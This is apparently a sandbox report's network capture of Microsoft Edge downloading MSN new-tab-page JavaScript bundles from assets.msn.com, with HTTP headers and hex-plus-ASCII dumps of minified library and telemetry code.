2024-11-24 18:11:51 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-24 18:11:51 UTC	9441	IN	Data Raw: 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 Data Ascii: n(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-24 18:11:51 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-24 18:11:51 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t
2024-11-24 18:11:51 UTC	15599	IN	Data Raw: 30 30 30 30 33 43 45 33 0d 0a 7d 7d 2c 34 34 31 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 38 35 31 30 29 2c 69 3d 6e 28 31 32 35 34 35 29 2c 6f 3d 6e 28 32 35 31 39 37 29 2c 75 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 61 3d 75 2e 74 6f 53 74 72 69 6e 67 2c 73 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 28 30 2c 6f 2e 5a 29 28 74 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 28 30 2c 72 2e 5a 29 28 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 30 2c 69 Data Ascii: 00003CE3}},44199:function(t,e,n){"use strict";var r=n(48510),i=n(12545),o=n(25197),u=Function.prototype,c=Object.prototype,a=u.toString,s=c.hasOwnProperty,f=a.call(Object);e.Z=function(t){if(!(0,o.Z)(t)\|\|"[object Object]"!=(0,r.Z)(t))return!1;var e=(0,i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49789	23.209.72.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	1238	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: HxbYbI6fIhdaRBln8Sc3OA== Last-Modified: Thu, 21 Nov 2024 21:45:21 GMT ETag: 0x8DD0A75CC92A95D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3f59ebcd-b01e-0085-2e5e-3c96a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sun, 24 Nov 2024 18:11:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.152,b=1027806939,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.152 Akamai-Request-ID: 3d4316db Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9804d217.1732471910.3d4316db Vary: Origin
2024-11-24 18:11:51 UTC	15146	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 34 61 32 61 39 65 64 38 32 34 30 64 33 30 30 34 32 33 31 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 00006000/! For license information please see microsoft.4a2a9ed8240d3004231b.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2024-11-24 18:11:51 UTC	9442	IN	Data Raw: 2c 72 2e 62 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 75 6e 63 Data Ascii: ,r.b$,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;func
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 5b 72 2e 4d 57 5d 28 61 29 2c 31 3d 3d 3d 65 3f 74 5b 63 2e 79 73 5d 28 73 29 3a 74 5b 63 2e 63 4c 5d 28 73 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 6e 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 6a 29 28 65 7c 7c 7b 7d 29 3b 69 26 26 69 5b 72 2e 6d 63 5d 26 26 69 5b 72 2e 6d 63 5d 28 74 2c 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 43 6f 6e 73 6f 6c 65 2c 30 29 2c 6c 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 54 65 6c 65 6d 65 74 72 79 2c 31 29 2c 68 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6d 61 78 4d 65 73 73 61 67 65 4c 69 6d 69 74 2c 32 35 29 2c 66 3d 28 30 2c 61 2e 76 34 29 28 74 5b 72 2e 46 72 5d 2c 21 31 29 Data Ascii: 00006000e[r.MW](a),1===e?t[c.ys](s):t[c.cL](s)}}}function v(t,n){var i=(0,o.j)(e\|\|{});i&&i[r.mc]&&i[r.mc](t,n)}!function(t){n=(0,a.v4)(t.loggingLevelConsole,0),l=(0,a.v4)(t.loggingLevelTelemetry,1),h=(0,a.v4)(t.maxMessageLimit,25),f=(0,a.v4)(t[r.Fr],!1)
2024-11-24 18:11:51 UTC	8204	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 5f 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 75 6e 6c 6f 61 64 28 61 2c 74 29 2c 21 65 7d 2c 61 5b 69 2e 7a 56 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 6e 75 6c 6c 29 2c 28 30 2c 73 2e 6b 4a 29 28 74 29 26 26 28 74 3d 62 28 74 2c 72 2c 65 2c 6e 29 29 2c 76 28 74 7c 7c 61 5b 69 2e 57 32 5d 28 29 2c 65 2c 6e 29 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 65 5b 69 2e 54 43 5d 7c 7c 7b 7d 2c 6f 3d 70 28 74 2c 72 2c 65 2c 6e 29 2e 63 74 78 3b 72 65 74 75 72 6e 20 6f 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 2e 69 74 65 72 61 74 65 28 28 66 Data Ascii: unction(t){var e=o._next();return e&&e.unload(a,t),!e},a[i.zV]=function(t,n){return void 0===t&&(t=null),(0,s.kJ)(t)&&(t=b(t,r,e,n)),v(t\|\|a[i.W2](),e,n)},a}function m(t,e,n){var r=e[i.TC]\|\|{},o=p(t,r,e,n).ctx;return o[i.uL]=function(t){return o.iterate((f
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 21 30 2c 6e 3d 21 30 2c 69 3d 21 30 2c 6f 3d 22 75 73 65 2d 63 6f 6c 6c 65 63 74 6f 72 2d 64 65 6c 74 61 22 2c 73 3d 21 31 3b 28 30 2c 72 2e 5a 29 28 74 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 2c 74 2e 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 28 69 3d 21 31 2c 73 7c 7c 28 65 3d 21 31 29 29 7d 2c 74 2e 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 74 Data Ascii: 00004000=function(){function t(){var e=!0,n=!0,i=!0,o="use-collector-delta",s=!1;(0,r.Z)(t,this,(function(t){t.allowRequestSending=function(){return e},t.firstRequestSent=function(){i&&(i=!1,s\|\|(e=!1))},t.shouldAddClockSkewHeaders=function(){return n},t
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 69 6f 6e 28 29 7b 44 3d 6e 75 0d 0a Data Ascii: ion(){D=nu
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6c 6c 2c 4b 28 30 3d 3d 3d 4d 3f 33 3a 31 2c 30 2c 31 29 2c 4d 2b 2b 2c 4d 25 3d 32 2c 47 28 29 7d 29 2c 65 29 3a 4d 3d 30 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 29 7b 6e 3d 6e 75 6c 6c 2c 78 3d 21 31 2c 43 3d 5b 5d 2c 6b 3d 6e 75 6c 6c 2c 53 3d 21 31 2c 24 3d 30 2c 54 3d 35 30 30 2c 4c 3d 30 2c 4f 3d 31 65 34 2c 49 3d 7b 7d 2c 45 3d 70 2c 44 3d 6e 75 6c 6c 2c 52 3d 6e 75 6c 6c 2c 46 3d 30 2c 4d 3d 30 2c 66 3d 6e 75 6c 6c 2c 4e 3d 7b 7d 2c 76 3d 76 6f 69 64 20 30 2c 6d 3d 30 2c 6a 3d 2d 31 2c 62 3d 6e 75 6c 6c 2c 5f 3d 21 30 2c 7a 3d 21 31 2c 71 3d 36 2c 55 3d 32 2c 79 3d 6e 75 6c 6c 2c 77 3d 64 74 28 29 2c 67 3d 6e 65 77 20 63 74 28 35 30 30 2c 32 2c 31 2c 7b 72 65 71 75 65 75 65 3a 6c 74 2c 73 65 6e 64 3a 62 74 2c 73 65 6e Data Ascii: 00004000ll,K(0===M?3:1,0,1),M++,M%=2,G()}),e):M=0)}function X(){n=null,x=!1,C=[],k=null,S=!1,$=0,T=500,L=0,O=1e4,I={},E=p,D=null,R=null,F=0,M=0,f=null,N={},v=void 0,m=0,j=-1,b=null,_=!0,z=!1,q=6,U=2,y=null,w=dt(),g=new ct(500,2,1,{requeue:lt,send:bt,sen
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 7b 61 3d 74 7d 7d 29 29 7d 72 0d 0a Data Ascii: {a=t}}))}r
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 74 75 72 6e 20 74 2e 63 6f 6f 6b 69 65 53 65 70 61 72 61 74 6f 72 3d 22 7c 22 2c 74 2e 75 73 65 72 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 61 69 5f 75 73 65 72 22 2c 74 2e 5f 73 74 61 74 69 63 49 6e 69 74 3d 76 6f 69 64 28 30 2c 73 2e 6c 5f 29 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 63 61 6c 49 64 22 2c 45 74 2c 44 74 29 2c 74 7d 28 29 2c 52 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 70 6f 70 53 61 6d 70 6c 65 3d 31 30 30 2c 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 30 2c 74 2e 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 26 26 28 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 31 30 34 38 35 37 36 7c 65 2e 65 76 65 6e 74 46 6c 61 67 73 29 2c 74 2e 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 Data Ascii: 00004000eturn t.cookieSeparator="\|",t.userCookieName="ai_user",t._staticInit=void(0,s.l_)(t.prototype,"localId",Et,Dt),t}(),Rt=function(t){var e=this;e.popSample=100,e.eventFlags=0,t.hashIdentifiers&&(e.eventFlags=1048576\|e.eventFlags),t.dropIdentifiers
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 29 3d 3e 4d 61 74 68 2e 6d 69 0d 0a Data Ascii: )=>Math.mi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49791	23.209.72.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	626	OUT	GET /bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	1238	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: itko/yVH6O05iS5wLDykzA== Last-Modified: Fri, 22 Nov 2024 21:28:59 GMT ETag: 0x8DD0B3CAD953FDA Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: bb09feee-001e-0078-4225-3d5197000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sun, 24 Nov 2024 18:11:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.153,b=1057882371,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.153 Akamai-Request-ID: 3f0e0103 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9904d217.1732471910.3f0e0103 Vary: Origin
